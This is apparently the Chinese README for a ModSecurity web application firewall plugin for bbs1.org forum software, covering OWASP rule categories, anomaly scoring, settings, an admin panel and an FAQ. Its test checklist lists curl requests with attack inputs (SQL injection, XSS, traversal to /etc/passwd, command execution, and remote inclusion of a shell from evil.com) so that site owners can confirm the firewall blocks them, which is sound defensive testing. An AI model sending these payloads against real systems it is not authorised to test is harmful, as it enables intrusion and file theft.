ModSecurity 防火墙插件(bbs1.org)
应用层 Web 应用防火墙(WAF),内置 OWASP ModSecurity Core Rule Set(CRS)核心规则集。
通过app.boot钩子在路由分发前对每个请求执行异常评分检测,支持拦截 / 检测双模式、自动 IP 封禁、日志审计与后台管理面板。- 插件 ID:
modsecurity - 版本:1.0.0
- 适用环境:bbs1.org 论坛程序(PHP 7.4+ / 8.x,PDO 数据库)
功能特性
- OWASP CRS 核心规则集:11 大类 120+ 条规则,覆盖:
- 920 协议执行(控制字符、编码滥用、受限文件、空字节)
- 921 协议攻击(请求走私 / CRLF / 头注入 / 参数污染)
- 930 路径穿越 / LFI
- 931 远程文件包含(RFI)
- 932 远程命令执行(Unix / Windows / Java / Shellshock / WebShell 上传)
- 933 PHP 注入(开放标签、超全局变量、危险函数、序列化对象)
- 934 Node.js 注入
- 941 跨站脚本 XSS(全部主流向量 + AngularJS / jQuery / HTML5 标签)
- 942 SQL 注入(SQLi 全系列,含盲注、UNION、恒真式、NoSQL、UDF、注释绕过)
- 943 会话固定
- 944 Java 反序列化 / 命令执行
- 异常评分机制:严重=5 错误=4 警告=3 提示=2,累计达到阈值即拦截(默认 5,即一条严重规则触发)
- Paranoia 级别 1-4:级别越高检测越严格,误报率也随之升高
- 双模式:
block拦截模式 /detect检测模式(仅记录不拦截)/off关闭 - 自动 IP 封禁:窗口内拦截次数达到阈值自动封禁指定时长,防暴力破解与持续攻击
- 事件日志审计:完整记录命中规则、级别、类别、匹配内容、URL、方法、IP、用户、是否拦截
- 站长豁免:
uid=1站长请求永不拦截,避免误封后无法进后台解封 - 后台管理面板:设置与概览 / 规则管理 / 拦截日志 / IP 封禁四个标签
安装
- 将
app/plugins/modsecurity/目录完整上传到论坛的app/plugins/目录下。 - 进入后台 → 插件,找到 ModSecurity 防火墙,点击 启用。
- 启用时自动创建数据表:
plugin_modsecurity_events(事件日志)、plugin_modsecurity_bans(封禁记录)。
- 启用后,后台「插件」页顶部会出现 ModSecurity 标签,进入即控制面板。
- 直接访问:
index.php?a=admin&tab=modsecurity(或开启伪静态后/admin/modsecurity)。
建议首次启用时先将运行模式设为 检测模式(detect),观察 1-3 天日志,确认无误报后再切换为 拦截模式(block)。
卸载
后台插件列表 → 卸载。卸载会同时删除事件日志表与封禁表(历史数据不可恢复)。
控制面板使用
标签 功能 设置与概览 运行模式、异常阈值、警惕级别、自动封禁、体积上限、Content-Type 白名单;顶部统计卡片显示累计拦截 / 今日拦截 / 今日事件 / 封禁中 IP 规则管理 按类别列出全部规则(ID、级别、Paranoia、目标向量、说明),可单条启停或整类停用 拦截日志 按级别 / 类别 / 是否拦截筛选,关键词搜索(IP / 规则 / 内容 / URL),分页,清空 7 天前或全部 IP 封禁 手动封禁 / 解封、查看自动封禁详情(原因 / 触发次数 / 到期时间)、清理过期 关键设置项
设置 默认值 说明 运行模式 block拦截 / 检测 / 关闭 异常分阈值 5达到该分值即拦截(严重=5 错误=4 警告=3 提示=2) 警惕级别(Paranoia) 11-4,越高越严格 自动封禁 开启 窗口内拦截次数达到阈值自动封禁 封禁触发次数 10统计窗口内被拦截次数 统计窗口(秒) 90015 分钟 封禁时长(秒) 36000表示永久封禁单请求体积上限(MB) 25超过直接拦截 允许的 Content-Type 表单 / JSON / 文本 / XML 等 不在列表的 POST 请求会被拒绝 使用检查清单
部署后按以下步骤逐项验证,确保 WAF 正常工作且不影响正常访问:
1. 基础状态检查
- [ ] 后台「插件」页显示 ModSecurity 已启用(状态为「启用」而非错误)
- [ ] 后台出现「ModSecurity」标签,可正常打开四个子标签
- [ ] 「设置与概览」统计卡片正常显示数字(无数据库报错)
- [ ] 「规则管理」中各类别规则可见,且
X/Y 条生效计数正确(默认全部生效)
2. 拦截功能测试(务必先设为 detect 模式或用测试机)
建议用
curl或浏览器无痕窗口在 检测模式 下验证,避免误伤正常访问。# SQL 注入(应触发 942 系列,异常分 >= 5 → 拦截) curl -i "http://你的域名/index.php?a=admin&tab=modsecurity&q=1' OR '1'='1" # XSS(应触发 941 系列) curl -i "http://你的域名/index.php?a=home&x=<script>alert(1)</script>" # 路径穿越(应触发 930 系列) curl -i "http://你的域名/index.php?a=home&file=../../etc/passwd" # 命令执行(应触发 932 系列) curl -i "http://你的域名/index.php?a=home&cmd=cat /etc/passwd" # 远程文件包含(应触发 931 系列) curl -i "http://你的域名/index.php?a=home&page=http://evil.com/shell.php"- [ ] 拦截模式下以上请求返回 403(HTML 拒绝页或 JSON
{"ok":0}) - [ ] 检测模式下以上请求返回正常业务页,但「拦截日志」中有对应命中记录(blocked=仅记录)
3. 正常访问不受影响
- [ ] 首页、板块、帖子、发帖、回帖、搜索均正常(无 403 / 无日志误报)
- [ ] 后台管理各项操作正常(登录、发帖管理、用户管理、插件管理)
- [ ] 附件上传 / 头像上传正常(测试常见图片、文本、压缩包)
- [ ] 登录 / 注册 / 注销流程正常
- [ ] 使用浏览器正常访问时「拦截日志」无 CRITICAL 级误报
4. 自动封禁测试(可选)
- [ ] 将「封禁触发次数」临时调低(如
3)、「封禁时长」调小(如300),连续发起 3 次恶意请求 - [ ] 达到阈值后再次访问应返回 403,且「IP 封禁」中出现该 IP 记录
- [ ] 到期后自动解封(或在面板中手动解封验证)
5. 站长豁免验证
- [ ] 使用
uid=1站长账号从同一 IP 发起恶意请求,不应被拦截(防止站长自锁) - [ ] 站长可从「IP 封禁」手动解封任何被误封 IP
6. 规则管理验证
- [ ] 在「规则管理」中停用某条规则(或整个类别)后,对应攻击请求不再被拦截
- [ ] 重新启用后恢复拦截
- [ ] 调整 Paranoia 级别为 2/3/4 后,规则生效数量随级别增加
7. 运维检查
- [ ] 日志量过大时使用「拦截日志」中的「清理 7 天前」/「清空日志」,或依赖自动清理(默认保留 5 万条)
- [ ] 数据库表存在且可写入:
plugin_modsecurity_events、plugin_modsecurity_bans - [ ] PHP 错误日志无该插件相关报错(
debug_log_write会记录规则正则无效等异常)
常见问题
Q:启用后整站无法访问?
A:多为误拦截。确认是否开启了app/plugins/modsecurity/权限正常;先用index.php?a=admin&tab=modsecurity把模式改为detect,再排查日志。站长(uid=1)请求永不被拦截,可用站长账号进后台调整。Q:正常发帖/回帖被拦截?
A:多为内容触发了高灵敏度规则(如正文含<?php、onclick=、select *、长数字串等)。可:- 在「拦截日志」查看命中的规则 ID;
- 到「规则管理」停用对应规则(或整类);
- 或降低 Paranoia 级别、调高异常阈值。
Q:如何让某些参数不被检测?
A:目前按「规则停用」粒度控制(单条规则或整个类别)。可在「规则管理」停用误报规则。Q:规则停用后仍被拦截?
A:确认停用的是正确 ID;另注意异常评分是累加的,可能由多条低分值规则共同触发,需同时停用或调高阈值。Q:自动封禁把正常用户封了?
A:调高「封禁触发次数」或调低误报规则灵敏度;被封用户可手动解封。站长永远豁免。Q:为什么有些规则在「规则管理」看不到?
A:部分协议类检查(如 Content-Length 校验、缺 User-Agent 等)为内置硬编码逻辑,不以规则形式展示,但命中会记入日志。技术说明
- 检测时机:
app.boot钩子,在路由分发前执行(index.php的fire('app.boot'))。 - 性能:每条规则用
preg_match对目标向量逐一匹配;已内置无效正则过滤(避免整站崩溃),并支持静态缓存规则表。 - 数据表:
plugin_modsecurity_events:rule_id / msg / severity / category / matched / target / uri / method / ip / user_id / blocked / created_atplugin_modsecurity_bans:ip / reason / hits / created_at / expires_at(expires_at=0表示永久)- 判定逻辑:
anomaly_score = Σ severity_score(rule),达到anomaly_threshold即blocked(仅 block 模式),随后触发自动封禁判断并返回 403。
主楼- 插件 ID:
- 暂无回复